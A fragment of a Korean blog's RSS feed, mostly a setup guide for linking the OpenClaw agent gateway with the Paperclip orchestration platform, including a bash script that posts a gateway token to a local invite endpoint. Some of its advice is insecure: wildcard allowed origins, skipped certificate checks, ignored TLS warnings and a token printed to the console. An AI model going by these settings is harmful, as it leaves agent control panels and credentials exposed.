&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;포트 13100&lt;/b&gt;은&lt;b&gt; Paperclip&lt;/b&gt;의 &lt;b&gt;WebSocket dev&lt;/b&gt; 서버 포트이며, 정리하지 않으면 충돌합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;PM2&lt;/b&gt;가&amp;nbsp;`.&lt;b&gt;mjs&lt;/b&gt;`&amp;nbsp;파일의&amp;nbsp;&lt;b&gt;심볼릭&amp;nbsp;링크&lt;/b&gt;를&amp;nbsp;&lt;b&gt;ESM&amp;nbsp;모듈&lt;/b&gt;로&amp;nbsp;실행할&amp;nbsp;때,&amp;nbsp;`&lt;b&gt;--&lt;/b&gt;`&amp;nbsp;뒤&amp;nbsp;인자를&amp;nbsp;무시하는&amp;nbsp;&lt;b&gt;버그&lt;/b&gt;가 있습니다.&lt;br /&gt;&lt;b&gt;bash&amp;nbsp;wrapper&lt;/b&gt;에서&amp;nbsp;`&lt;b&gt;exec&amp;nbsp;/usr/bin/node&amp;nbsp;&amp;lt;경로&amp;gt;&amp;nbsp;gateway&lt;/b&gt;`로 직접 호출하면 해결됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 브라우저에서&amp;nbsp;&lt;b&gt;Control&amp;nbsp;UI&amp;nbsp;&lt;/b&gt;접속&amp;nbsp;시&amp;nbsp;&quot;&lt;b&gt;origin&amp;nbsp;not&amp;nbsp;allowed&lt;/b&gt;&quot;&amp;nbsp;에러가&amp;nbsp;나면&amp;nbsp;`&lt;b&gt;controlUi.allowedOrigins&lt;/b&gt;`를&amp;nbsp;`&lt;b&gt;['*']&lt;/b&gt;`로 설정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;OpenClaw&lt;/b&gt;는 새 장치(브라우저) 연결 시&amp;nbsp;&lt;b&gt;pairing 승인&lt;/b&gt;이 필요한 구조입니다.&lt;br /&gt;`&lt;b&gt;openclaw devices approve --latest&lt;/b&gt;`로 자동 승인하며, 수동으로는 &lt;b&gt;Control UI&lt;/b&gt;에서 승인합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;OpenClaw Control UI&lt;/b&gt;는 &lt;b&gt;WebCrypto API&lt;/b&gt;를 사용합니다.&lt;br /&gt;대부분의&amp;nbsp;브라우저는&amp;nbsp;`&lt;b&gt;http://&lt;/b&gt;`에서&amp;nbsp;&lt;b&gt;WebCrypto&lt;/b&gt;를 차단하며 (Secure Context 필수). &lt;br /&gt;자체&amp;nbsp;서명&amp;nbsp;인증서라도&amp;nbsp;`&lt;b&gt;https://&lt;/b&gt;`이면 동작합니다. 브라우저 경고만 무시하면 됩니다.&lt;br /&gt;&lt;b&gt;(* 정 거슬리시면 자체 도메인 구성하시거나, XRDP를 통해서 로컬로 접속하시면됩니다.)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Paperclip&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Paperclip&lt;/b&gt;은 &lt;b&gt;여러 AI Agent&lt;/b&gt;를 &lt;b&gt;조직&lt;/b&gt;처럼 관리하고 협업시키는 &lt;b&gt;AI 회사 운영 플랫폼 오픈소스&lt;/b&gt;입니다.&lt;br /&gt;각자의 역할과 권한에 따라 비즈니스 목표를 달성하도록 오케스트레이션(Orchestration)하는 중앙 제어 시스템입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/paperclipai/paperclip&quot;&gt;paperclipai/paperclip: Open-source orchestration for zero-human companies&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775109196540&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - paperclipai/paperclip: Open-source orchestration for zero-human companies&quot; data-og-description=&quot;Open-source orchestration for zero-human companies - paperclipai/paperclip&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/paperclipai/paperclip&quot; data-og-url=&quot;https://github.com/paperclipai/paperclip&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/FETOD/dJMb83Si9Q4/k6xk7dYd0P9OIXxyXKfWk1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cSdvK5/dJMb85WTFch/SWXQQg9oN7neNXnqKKP6k0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bRC5oX/dJMb82eNmce/nWJsuJAd5yzJgP4o0nuRe1/img.png?width=1218&amp;amp;height=546&amp;amp;face=0_0_1218_546&quot;&gt;&lt;a href=&quot;https://github.com/paperclipai/paperclip&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/paperclipai/paperclip&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/FETOD/dJMb83Si9Q4/k6xk7dYd0P9OIXxyXKfWk1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cSdvK5/dJMb85WTFch/SWXQQg9oN7neNXnqKKP6k0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bRC5oX/dJMb82eNmce/nWJsuJAd5yzJgP4o0nuRe1/img.png?width=1218&amp;amp;height=546&amp;amp;face=0_0_1218_546');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - paperclipai/paperclip: Open-source orchestration for zero-human companies&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Open-source orchestration for zero-human companies - paperclipai/paperclip&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;구축 사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Paperclip&lt;/b&gt;은 `&lt;b&gt;pnpm start&lt;/b&gt;` 스크립트가 없으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`&lt;b&gt;pnpm dev&lt;/b&gt;`만 동작합니다. 처음에 `&lt;b&gt;pnpm start&lt;/b&gt;`로 실행해서 &quot;&lt;b&gt;Missing script&lt;/b&gt;&quot; 에러가 발생합니다.&lt;br /&gt;&lt;br /&gt;- `&lt;b&gt;local_trusted&lt;/b&gt;`는 &lt;b&gt;127.0.0.1 로컬 접속&lt;/b&gt;만 가능하며, `&lt;b&gt;authenticated&lt;/b&gt;`는&lt;b&gt; 0.0.0.0&lt;/b&gt; 접속 가능하기 때문에&lt;br /&gt;즉, &lt;b&gt;외부 접속&lt;/b&gt;을 받으려면 반드시 `&lt;b&gt;authenticated&lt;/b&gt;` 모드와 `&lt;b&gt;HOST=0.0.0.0&lt;/b&gt;` 세팅이 필요하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`&lt;b&gt;local_trusted&lt;/b&gt;`에서 `&lt;b&gt;HOST=0.0.0.0&lt;/b&gt;`을 하면&lt;b&gt; 보안 에러&lt;/b&gt;가 발생합니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&lt;b&gt; Paperclip&lt;/b&gt;은 외부 IP로 접속하면 &quot;&lt;b&gt;Hostname not allowed&lt;/b&gt;&quot; 오류가 발생하기 때문에&lt;br /&gt;&amp;nbsp;`&lt;b&gt;~/.paperclip/instances/default/config.json&lt;/b&gt;`에 허용할 호스트명을 등록해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-size=&quot;size16&quot; data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;접속 및 세팅&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenClaw Control UI&lt;/b&gt; - https://&amp;lt;서버IP&amp;gt;&lt;br /&gt;&lt;b&gt;Paperclip&lt;/b&gt; - https://&amp;lt;서버IP&amp;gt;:3443&lt;br /&gt;* 개인적으로 개인 도메인 구성을 권장합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1050&quot; data-origin-height=&quot;878&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kzsnc/dJMcahjEgpM/9LOGRJgRZyPBWdzuuz3TnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kzsnc/dJMcahjEgpM/9LOGRJgRZyPBWdzuuz3TnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kzsnc/dJMcahjEgpM/9LOGRJgRZyPBWdzuuz3TnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fkzsnc%2FdJMcahjEgpM%2F9LOGRJgRZyPBWdzuuz3TnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1050&quot; height=&quot;878&quot; data-origin-width=&quot;1050&quot; data-origin-height=&quot;878&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 브라우저 접속 시 &quot;&lt;b&gt;pairing required&lt;/b&gt;&quot; 에러가 난다면&lt;br /&gt;아래 명령어를 통해 장치를 승인합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1775110091388&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openclaw devices approve --latest&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJlgvV/dJMcacP8VbI/YKTcKXW4xmcIXHHw8ZKLmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJlgvV/dJMcacP8VbI/YKTcKXW4xmcIXHHw8ZKLmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJlgvV/dJMcacP8VbI/YKTcKXW4xmcIXHHw8ZKLmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJlgvV%2FdJMcacP8VbI%2FYKTcKXW4xmcIXHHw8ZKLmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2822&quot; height=&quot;1448&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2816&quot; data-origin-height=&quot;1460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZJ96u/dJMcad2wZdo/XPe2rSgoKpeasodazHAu4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZJ96u/dJMcad2wZdo/XPe2rSgoKpeasodazHAu4K/img.png&quot; data-alt=&quot;Agent - Skills&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZJ96u/dJMcad2wZdo/XPe2rSgoKpeasodazHAu4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZJ96u%2FdJMcad2wZdo%2FXPe2rSgoKpeasodazHAu4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2816&quot; height=&quot;1460&quot; data-origin-width=&quot;2816&quot; data-origin-height=&quot;1460&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Agent - Skills&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 할 &lt;b&gt;skills&lt;/b&gt; 항목에 맞게 활성화 해주시면됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Paperclip + OpenClaw 연동&lt;br /&gt;&lt;br /&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Paperclip 접속하여 초기 설정을 완료합니다.&lt;br /&gt;&lt;br /&gt;회사 이름 입력후 모두 기본값으로 넘어가 줍니다.&lt;br /&gt;초기설정에는 OpenClaw Gateway가 비활성화 상태입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image (1).png&quot; data-origin-width=&quot;2826&quot; data-origin-height=&quot;1460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxVf4w/dJMcafzlCgy/6qlB2AAG4xB9c4FTCHwvhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxVf4w/dJMcafzlCgy/6qlB2AAG4xB9c4FTCHwvhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxVf4w/dJMcafzlCgy/6qlB2AAG4xB9c4FTCHwvhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxVf4w%2FdJMcafzlCgy%2F6qlB2AAG4xB9c4FTCHwvhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2826&quot; height=&quot;1460&quot; data-filename=&quot;image (1).png&quot; data-origin-width=&quot;2826&quot; data-origin-height=&quot;1460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1735&quot; data-origin-height=&quot;1012&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DkWwL/dJMcaaY44zt/mmkDLFnuHOCJpCHTWKYitk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DkWwL/dJMcaaY44zt/mmkDLFnuHOCJpCHTWKYitk/img.png&quot; data-alt=&quot;Paperclip UI &amp;amp;rarr; Settings &amp;amp;rarr; Invites &amp;amp;rarr; 초대 링크 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DkWwL/dJMcaaY44zt/mmkDLFnuHOCJpCHTWKYitk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDkWwL%2FdJMcaaY44zt%2FmmkDLFnuHOCJpCHTWKYitk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1735&quot; height=&quot;1012&quot; data-origin-width=&quot;1735&quot; data-origin-height=&quot;1012&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Paperclip UI &amp;rarr; Settings &amp;rarr; Invites &amp;rarr; 초대 링크 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TBnIL/dJMcafMTGMb/BjyLst7uR8AGfMQU0OxhP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TBnIL/dJMcafMTGMb/BjyLst7uR8AGfMQU0OxhP0/img.png&quot; data-alt=&quot;URL 값의 pcp_invite_&amp;amp;lt;번호&amp;amp;gt;를 기억합니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TBnIL/dJMcafMTGMb/BjyLst7uR8AGfMQU0OxhP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTBnIL%2FdJMcafMTGMb%2FBjyLst7uR8AGfMQU0OxhP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2822&quot; height=&quot;1444&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;URL 값의 pcp_invite_&amp;lt;번호&amp;gt;를 기억합니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 &lt;b&gt;OpenClaw&lt;/b&gt; 서버에서 초대를 수락해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;매번 &lt;b&gt;curl&lt;/b&gt; 치기 번거로우므로 `&lt;b&gt;join_paperclip.sh&lt;/b&gt;` 스크립트를 작성합니다.&lt;br /&gt;&lt;b&gt;pcp_invite_&amp;lt;번호&amp;gt;&lt;/b&gt;에 &lt;b&gt;Paperclip&lt;/b&gt;에서 생성했던 초대 &lt;b&gt;URL값&lt;/b&gt;을 작성합니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트&amp;nbsp;안의&amp;nbsp;초대&amp;nbsp;코드(`&lt;b&gt;pcp_invite_xxxx&lt;/b&gt;`)는 &lt;b&gt;매번&lt;/b&gt; 새로 생성한 코드로 &lt;b&gt;교체&lt;/b&gt;해야 합니다.&lt;br /&gt;&lt;b&gt;초대 코드&lt;/b&gt;는 &lt;b&gt;1회용&lt;/b&gt;이므로, &lt;b&gt;재연동 시&lt;/b&gt;에는 Paperclip UI에서 &lt;b&gt;새 초대&lt;/b&gt;를 &lt;b&gt;생성&lt;/b&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775111741352&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash
set -e

TOKEN=$(cat /home/ubuntu/.openclaw/openclaw.json | jq -r '.gateway.auth.token')
echo &quot;Token: $TOKEN&quot;

BODY=$(python3 -c &quot;
import json
body = {
    'requestType': 'agent',
    'agentName': 'OpenClaw',
    'adapterType': 'openclaw_gateway',
    'capabilities': 'OpenClaw agent adapter',
    'agentDefaultsPayload': {
        'url': 'ws://127.0.0.1:18789',
        'paperclipApiUrl': 'https://127.0.0.1:3443',
        'headers': {'x-openclaw-token': '$TOKEN'},
        'waitTimeoutMs': 120000,
        'sessionKeyStrategy': 'issue',
        'role': 'operator',
        'scopes': ['operator.admin']
    }
}
print(json.dumps(body))
&quot;)

echo &quot;Body: $BODY&quot;

RESULT=$(curl -sk -X POST https://127.0.0.1:3443/api/invites/pcp_invite_&amp;lt;번호&amp;gt;/accept \
  -H 'Content-Type: application/json' \
  -d &quot;$BODY&quot; 2&amp;gt;&amp;amp;1)

echo &quot;Response: $RESULT&quot;

# Save response for later claim
echo &quot;$RESULT&quot; &amp;gt; /tmp/join_response.json&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775112003855&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 서버에서 실행
chmod +x /home/ubuntu/join_paperclip.sh

# 초대 코드를 스크립트 안에 설정한 뒤 실행
bash /home/ubuntu/join_paperclip.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image (4).png&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EuH9x/dJMcahxachx/rbKhksaTAcZ13cR3DXYKf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EuH9x/dJMcahxachx/rbKhksaTAcZ13cR3DXYKf0/img.png&quot; data-alt=&quot;Inbox에서 초대를 수락합니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EuH9x/dJMcahxachx/rbKhksaTAcZ13cR3DXYKf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEuH9x%2FdJMcahxachx%2FrbKhksaTAcZ13cR3DXYKf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2822&quot; height=&quot;1456&quot; data-filename=&quot;image (4).png&quot; data-origin-width=&quot;2822&quot; data-origin-height=&quot;1456&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Inbox에서 초대를 수락합니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CpWKj/dJMcahYdh9V/9Hz8kxJuOs2cLRgqmztn01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CpWKj/dJMcahYdh9V/9Hz8kxJuOs2cLRgqmztn01/img.png&quot; data-origin-width=&quot;2814&quot; data-origin-height=&quot;1444&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.296%; margin-right: 10px;&quot; data-widthpercent=&quot;49.88&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CpWKj/dJMcahYdh9V/9Hz8kxJuOs2cLRgqmztn01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCpWKj%2FdJMcahYdh9V%2F9Hz8kxJuOs2cLRgqmztn01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2814&quot; height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDovMe/dJMcabRdOjw/nrCdXouk1RsqlgQX71zjE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDovMe/dJMcabRdOjw/nrCdXouk1RsqlgQX71zjE1/img.png&quot; data-origin-width=&quot;2828&quot; data-origin-height=&quot;1444&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.12&quot; style=&quot;width: 49.5412%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDovMe/dJMcabRdOjw/nrCdXouk1RsqlgQX71zjE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDovMe%2FdJMcabRdOjw%2FnrCdXouk1RsqlgQX71zjE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2828&quot; height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AI/Agent</category>
      <category>Ai</category>
      <category>copilot</category>
      <category>github</category>
      <category>openclaw</category>
      <category>paperclip</category>
      <category>terraform</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/250</guid>
      <comments>https://noong2.tistory.com/250#entry250comment</comments>
      <pubDate>Thu, 2 Apr 2026 15:44:33 +0900</pubDate>
    </item>
    <item>
      <title>Terraform 활용한 Oracle Cloud 인스턴스 생성</title>
      <link>https://noong2.tistory.com/249</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OCI는 장기적인 인프라 관리의 어려움과 장기간 미사용에 대한 서버처리로 인해서&amp;nbsp;&lt;br /&gt;지속적으로 프로비저닝 해야하는 큰 불편이 있습니다.&lt;br /&gt;&lt;br /&gt;해당 글은 &lt;b&gt;Terraform&lt;/b&gt;를 활용하여 &lt;b&gt;Oracle Cloud&lt;/b&gt; 인스턴스 생성하는 과정을 작성해보았습니다.&lt;br /&gt;오라클 클라우드 계정이 없다면 아래 링크를 통하여 가입을 진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;가입 시 별도의 &lt;b&gt;신용카드&lt;/b&gt;가 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://signup.cloud.oracle.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://signup.cloud.oracle.com/&lt;/a&gt;&lt;/p&gt;
